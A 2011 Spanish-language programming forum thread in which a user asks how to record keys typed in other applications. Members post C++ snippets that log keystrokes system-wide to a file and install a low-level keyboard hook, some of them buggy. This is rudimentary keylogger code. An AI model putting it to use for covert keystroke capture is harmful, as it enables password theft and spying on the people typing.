Recojer telcas de otra App

Iniciado por Riki_89D, 28 Septiembre 2011, 10:07 AM

0 Miembros y 1 Visitante están viendo este tema.

Riki_89D

Hola que tal están?

verán necesito recoger las teclas pulsadas en una aplicación externa a la mía,por ejemplo el Microsoft Word,se que existe la api "GetAsyncKeyState();" pero no se como usarla para recoger teclas pulsadas en una aplicación externa a la mía,podrían echarme una mano?


muchas gracias!



naderST

Si lo quieres hacer con GetAsyncKeyState() investiga sobre las siguientes funciones:

- GetForegroundWindow()
- GetWindowText()

Bueno lo que harás se simple en tu aplicación con GetForegroundWindow() obtendrás el handle de la ventana que tiene el usuario en el frente, y con GetWindowText() el titulo de la misma, si esta ventana es Word entonces pasamos a detectar las teclas.

Riki_89D

Hola que tal,hoy empezare a mirarme esas funciones que me pasaste,pero he querido realñizar una prueba conjoiendo las teclas de TODAS las app,o mejor dicho,de TODO el sistema,alla onde escriba sera registrado,pero nse que pasa que no funciona del todo bien,veras yo tengo este codigo:

Código (cpp) [Seleccionar]

#include "iostream"
#include "fstream"
#include "windows.h"

HWND MSN = 0;


std::ofstream Log;

int main(void)
{
Log.open("Log.txt");

do{

if(GetAsyncKeyState(65))
{

Log << "a";

}

}while(FindWindow(0,"Equipo"));


return 0;
}


lo unino que hace es que si escribes una A,pues la guarde en el archivo,lo que pasa que cuando abro el archivo me salen MILLONES de A's xD,e intentado remediralo con "goto",pero no funciona,la verdad me molesta tener que usar un "while" para dejar el programa en espera de que el usuario empieze a escribir,tienes alguna idea al respecto?¿



gracias

naderST

#3
Código (cpp) [Seleccionar]

#include <fstream>
#include <iostream>
#include <Windows.h>

std::ofstream keylog;

int main(){
keylog.open("C:/log.txt", std::ios_base::app);

while(1){
if(!GetAsyncKeyState(0x41))
keylog << "Tecla A presionada" << std::endl;

Sleep(500);
}

keylog.close();

return 0;
}


EDIT:

También puedes hacer un Hook al teclado...

BlackZeroX

Instala un HOOK al teclado que a su vez sea a un hilo de ejecucion espesifico (esto para no detectar teclas que vayan destinadas a otra Hilo).

Dulces Lunas!¡.
The Dark Shadow is my passion.

Riki_89D

Hola que tal,pues teneis toda la razon,hare un HOOCK con SetWindowsHoockEx,y esto de hacerlo en otro hilo me a llamado la atencion,asin que me e puesto a investigar sobre hilos ya que nunca los toque,se que esto se va del tema,pero lo pongo aqui para no abrir otro hilo,tengo el codigo para crear un hilo,pero parece que no acaba de funcionar bien,compila bien,pero no hace nada :S


Código (cpp) [Seleccionar]

#include "windows.h"
#include "iostream"

DWORD WINAPI TProces(LPVOID)
{
MessageBox(0,"Hola desde el hilo","Hola",0);
return 0;
}

DWORD ID_HILO;
HANDLE Tread;
DWORD ExitCode;

int main(void)
{
Tread = CreateThread(0,0,TProces,0,0,&ID_HILO);
OpenThread(THREAD_ALL_ACCESS,FALSE,ID_HILO);
WaitForSingleObject(Tread,0);
GetExitCodeThread(Tread,&ExitCode);
return 0;
}


Aguna ayuda?¿

PD: Una vez tenga el code este solucionado pasare a instalar el HOOCK


thanks

naderST

Aquí tienes un hook simple al teclado.
Código (cpp) [Seleccionar]

#include <stdio.h>
#include <Windows.h>

HHOOK hKeyboard;

LRESULT CALLBACK keyboardproc(int nCode, WPARAM wParam, LPARAM lParam){
DWORD keyCode = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
switch(keyCode){
default:
printf("Tecla %c presionada!\n", keyCode);
}
return CallNextHookEx(hKeyboard, nCode, wParam, lParam);
}

int main(){
MSG msg;
hKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc, GetModuleHandle(0),0);

if(!hKeyboard)
return 0;

while(GetMessage(&msg, 0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return 0;
}

BlackZeroX

#7
Cita de: Riki_89D en 30 Septiembre 2011, 11:03 AM
y esto de hacerlo en otro hilo me a llamado la atencion

Me entendiste mal, se instala un HOOk pero no en otro hilo como tu lo quieres hacer igual si lo deseas hacer adelante, pero debes Instalar el HOOK asociandolo a un HILO, como lo es al hilo del programa que deseas interceptar!¡.

http://msdn.microsoft.com/en-us/library/ms644990%28v=VS.85%29.aspx

Código (c,6) [Seleccionar]


HHOOK WINAPI SetWindowsHookEx(
  __in  int idHook,
  __in  HOOKPROC lpfn,
  __in  HINSTANCE hMod,
  __in  DWORD dwThreadId
);



En el ultimo parametro mete el id del Hilo a asociar, eso es todo ( Hay una api para obtener el id del hilo, pero no recuerdo como se llamaba... cre que tiene algo que ver con GetThreadId() )...

P.D.: Recuerda que debes desinstalar el Hook... UnhookWindowsHookEx()

Dulces Lunas!¡.
The Dark Shadow is my passion.